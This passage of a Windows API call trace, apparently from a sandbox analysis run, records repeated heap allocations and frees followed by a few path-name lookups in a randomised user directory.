lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\") returned="0KK-LJo0NlWa\\" [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\") returned="VehoR9xPCLy8\\" [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0062.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.384] HeapFree 